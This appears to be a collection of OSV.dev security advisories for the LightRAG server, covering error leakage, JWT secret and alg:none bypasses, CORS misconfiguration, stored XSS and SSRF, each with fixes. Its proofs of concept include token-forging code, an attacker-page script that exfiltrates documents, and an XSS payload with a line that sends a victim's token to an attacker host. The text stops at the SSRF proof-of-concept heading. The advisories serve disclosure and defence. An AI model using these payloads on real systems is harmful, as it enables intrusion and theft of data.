Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 25, 2025

1.4.9rc2 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

